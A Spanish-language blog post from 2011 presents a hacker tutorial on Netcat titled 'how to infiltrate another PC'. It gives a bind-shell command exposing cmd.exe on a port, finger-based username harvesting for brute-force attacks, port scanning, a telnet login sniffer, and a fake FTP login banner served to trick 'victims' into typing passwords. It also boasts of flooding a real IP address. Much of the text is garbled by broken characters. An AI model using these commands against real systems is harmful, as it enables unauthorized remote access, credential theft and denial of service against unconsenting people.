miércoles, 21 de diciembre de 2011

COMO INFILTRARSE EN OTRA PC

Utilizando Netcat.
==================

Para ilustrar mejor como trabajamos con este programa, lo mejor es
observar ejemplos practicos y analizar su estructura para poder comprender
mejor como funciona y asi poder crear nuestras propias aplicaciones.

Algunas de las cosas que podemos hacer con NetCat son:

Obtener un Shell rapidamente en una m?ina remota usando la
opcion -l (Listen) conjuntamente con la opcion -e (ejecutar) , cuando el
proggie corre con estas variables y la conecciones realizadas, NetCat
ejecuta el programa elegido y se conecta a stdin y stdout del programa
en la coneccion la red.

nc -l -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe

Este comando dejara NetCat escuchando el Puerto 23 (telnet) ,
cuando es conectado a travez del cliente, ejecutar?n Shell (cmd.exe)
la opcion -t le dice a NetCat que maneje cualquier negociacion que el
cliente pueda esperar....

Si esta conexiones realizada desde una m?ina NT, el shell
correr los permisos del proceso que han generado a NetCat (Hmmm...) as?br />que hay que ser muy cuidadosos

La belleza de NetCat es que puede hacer lo mismo en CUALQUIER
puerto  Puedes dejar a NetCat escuchando en los puertos NETBIOS, que
est?probablemente corriendo en la mayor?de las m?inas NT, de esta
manera puedes lograr una conecci?? una m?ina que est?tilizando
"Filtrado de Puertos" activado en TCP/IP security Network Control Panel,
NT no parece tener ninguna seguridad alrededor de cuales puertos los
programas de usuarios son permitidos amarrar, esto quiere decir en pocas
palabras, ejecutar comandos y programas que puedan unirse a los Puertos
NETBIOS.


Como anteriormente se menciona puedes utilizar a Netcat para
estudiar diferentes puertos, con la siguiente sintaxis:

c:\>nc -v <IP> <puerto> (puedes a??r otra -v)


Uno de los puertos mas interesantes a la Hora de Analizar un
Host, es el puerto 79 (Finger) , puedes obtener nombres de usuarios e
informacion muy util a la hora de planear un "Brute-Force Attack", este
comandito de Netcat te muestra la Flexibilidad del Proggie en cuestion,
dandote una idea de sus posibilidades:

c:\>nc -v <host> 79 < user.txt > log.txt

El comando anterior le dice a netcat que se conecte en modo
verbose al Host predeterminado en el puerto 79 (Finger) y envie el
contenido del archivo user.txt (OJO: no he probado esto con una posible
lista de nombre de usuarios al azahar), la respuesta del servicio ser?br />guardada en el archivo log.txt


Scanner:
========

Netcat puede ser utilizado como scanner, sus multiples opciones
le permiten realizar un gran n? de combinaciones, pudiendo realizar
Scannings en Puertos Random, en puertos conocidos, en modo ascendente o
descendente, con intervalos de tiempo, utilizando gateways para evitar
mostrar la IP fuente del Scanning, etc.

C:\nc11nt>nc -v -v -z 127.0.0.1 53 25 21

DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 25 (smtp): connection refused
localhost [127.0.0.1] 21 (ftp): connection refused
sent 0, rcvd 0: NOTSOCK

Pues si; aqui tienen un pequeño primitivo scanner, se le
pueden a??r puertos escogidos como en el ejemplo anterior o asignarle
un rango de puertos:

C:\nc11nt>nc -v -v -z 127.0.0.1 1-53

DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 52 (?): connection refused
localhost [127.0.0.1] 51 (?): connection refused
localhost [127.0.0.1] 50 (?): connection refused
localhost [127.0.0.1] 49 (?): connection refused
localhost [127.0.0.1] 48 (?): connection refused etc...

Volvemos con la opci??v (verbose) y la Opci??z (zero i/o)
que es usada para scanning, los puertos se lo especificamos al final del
IP del host, bien sea individuales separados por un espacio; o por un
rango de puertos.


Sniffer:
========

Otra de las interesante posibilidades de netcat es su capacidad para
escuchar conecciones en cualquier puerto, pudiendo redireccionar todo el
tr?co del mismo hacia un archivo o hacia pantalla, en este sencillo
ejemplo, podemos observar las bases de un sencillo sniffer en Windows:

C:\nc11nt>nc -v -v -L 127.0.0.1 -p 23

DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado
password: jeje!!
puedo ver todo lo que escriben aqui... Muuuaaahahahahahah!!! B-]


Tambien podemos redireccionar toda la salida a un archivo e
irnos a realizar otras actividades ,ientras netcat hace su trabajo:

C:\nc11nt>nc -v -v -L -p 23 127.0.0.1 -t >login.txt
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...

[Aqui viene la conneci??.]

DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1030

[Todo lo que escriba la connecci??e va al archivo login.txt]
sent 0, rcvd 42

[La opci??L permite que netcat escuche nuevamente al terminar la conecci??
"New Victims Wanted" Hehe!]

DNS fwd/rev mismatch: localhost != darkstar
listening on [127.0.0.1] 23 ...




El Exploit-Explained: nc -v -v -L 127.0.0.1 -p 23
---------------------

Ejecutamos a Netcat con la opci?? variable -v (verbose)
(doblemente "verbose" por si acaso)  esto har?ue el resultado de
netcat, sea mostrado directamente en pantalla (a diferencia del archivo
usado por Dr._X) , la opci?? variable -L (Listen, and listen again)
nos permitir?ejar escuchando u "oliendo" en determinado puerto aun
cuando la conecci??ea interrumpida (listen again), con la variable -p
le indicamos el puerto...

Al ejecutar a netcat con esa combinaci??e variables las
opci??v me indica en pantalla el Host y el puerto de escucha:

DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...


Realizo desde otra ventana un telnet a localhost (127.0.0.1) en
el puerto 23, netcat me informa sobre lo que ocurre en el puerto 23:

DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado


Voil?un Sniffer en LocalHost! Jajaja!!!



Detector de Conneciones Sospechosas:
====================================

La posibilidad de dejar a netcat escuchando en determinados puertos,
nos permite crear una especie de "trampa" para un supuesto agresor que utilize
scanners, o herramientas tales como NetBus o BackOrifice en contra de
nuestras estaciones. Incluso, podemos crear un archivo que haga un Flood
y redireccionar su salida hacia la estaci??gresora en caso de una conecci??br />no autorizada a determinado puerto. (jeje! y se me ocurren un monton de cosas
m? Muaahahaha!)

Este es un ejemplo de un detector de BO, Je! y funciona! este es un ejemplo
real de un dia como cualquier otro en IRC; he aqu?l ejemplo:

C:\nc11nt>nc -u -v -v -L -p 31337 127.0.0.1 31337
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 31337 ...

invalid connection to [0.0.0.0] from nas1-064.ras.bqm.cantv.net
[161.196.246.65]
31338

Back Orifice utiliza el protocolo UDP para realizar sus
travesuras, realiza la conecci??esde un puerto aleatorio (casi siempre
el 1080) aunque en este caso lo hizo desde el 31338 (posiblemente una
variante de BO), por eso se utiliza la opci??u (protocolo udp) ,
netcat se queda esperando conecciones UDP en el puerto 31337 (default de
BO) , cuando alguien hace un sweep a tu IP netcat lo detecta enviando a
pantalla el IP y el DNS del agresor...

Luego un peque??quot;Ping of Death" (Nuke) para el transgresor y
le hacen un Scan para ver cuando desaparece B-]

nas1-064.ras.bqm.cantv.net [161.196.246.65] 48 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 47 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 46 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 45 (?): TIMEDOUT
nas1-064.ras.bqm.cantv.net [161.196.246.65] 44 (?): TIMEDOUT<--Chao!!! Jeje!!


Otros usos Miscelaneos:
=======================

Puedes utilizar algo de ingiener?social para capturar algunos
passwords con netcat, por ejemplo, si una m?ina no tiene abierto el
puerto de FTP o de telnet, creas un archivo de texto que solicite el ID
y el Password de la v?ima; algo as?

Microsoft Internet FTP Server V.5.9 [Beta]
04/16/99 myhost.com
Please introduce Username, password and press "Enter"
LogOn:

Luego redireccionas el archivo hacia la victima:

C:\nc11nt>nc -v -v -L -p 21 nombre del host -t < login.txt

Si el tonto cae... Ah?a tu password, Jeje!! B-] un poco de
imaginaci?? ma??e permitir?encontrar muchas utilidades para
netcat.


Netcat en Vez de Telnet.
=======================

Yo personalmente prefiero usar netcat para realizar connecciones
remotas como alternativa al Telnet. la ventaja de realizar conecciones telnet
desde netcat es que este esconde "algo" sobre tu conecci??lo que lo hace
mas "sigiloso" que telnet, (de ah?or que lo llamaron netcat), Realizando
una conecci??quot;Limpia" en determinado puerto, obviando las negociaciones
comunes de Telnet que pueden confundir al cliente en determinados casos,
como por ejemplo, al utilizar ciertas Backdoors muy conocidas en Unix.

OJO: algunas m?inas interpretan al cliente de telnet
y asumen el nombre del usuario que lo utiliza, de all?l porqu?lgunos
servidores solo preguntan por password ; teoricamente netcat no envia
esta informaci??Por eso, es recomendable acostumbrarse a utilizar netcat
para hacer conecciones remotas:


c:> nc -v nombre del host 23(o el puerto de tu preferencia)


Netcat y Programaci??
======================

Esta combinaci??esencadena todo el Poder de Netcat en su m?ma
expresi??Tratandose de una herramienta que funciona con lineas de comandos,
su integraci??on un lenguaje de programaci??e permite realizar gran
cantidad de tareas, y posibilidades se van descubriendo dia a dia con su
inclusi??n nuevos Scripts y Exploits.

Muchos ScriptKiddies que no tienen idea de lo que hacen, se sienten
frustrados porque muchos de los Scripts y Exploits que bajan de la Red
simplemente no les funciona, porque no saben interpretar el C??o y por
lo tanto son incapaces de efectuar las modificaciones necesarias para incluir
librerias, paths o utilidades necesarias para su funcionamiento.
(J??se ScriptKiddies!!! Jajaja!!)

Netcat es exelente para implementar exploits remotos, permitiendo
enviar el c??o a cualquier puerto vulnerable con una simple orden, logrando
ejecutar todos los comandos necesarios para explotar determinados servicios.

Varios exploits que circulan actualmente en la Red, usan a netcat
como "motor" para manejar las conecciones, si analizamos el c??o de estos
programas podemos observar un nc por ah?esto significa que el Proggie en
cuesti??ecesita una versi??orrectamente compilada de netcat en el
directorio /usr/bin

Si marco la fuente puede que os lo tomeis como SPAM, porque no creo que os guste el origen de este tutorial...
Bueno igualmente espero que os haya sido de utilidad
bueno
Salu2

No hay comentarios:

Publicar un comentario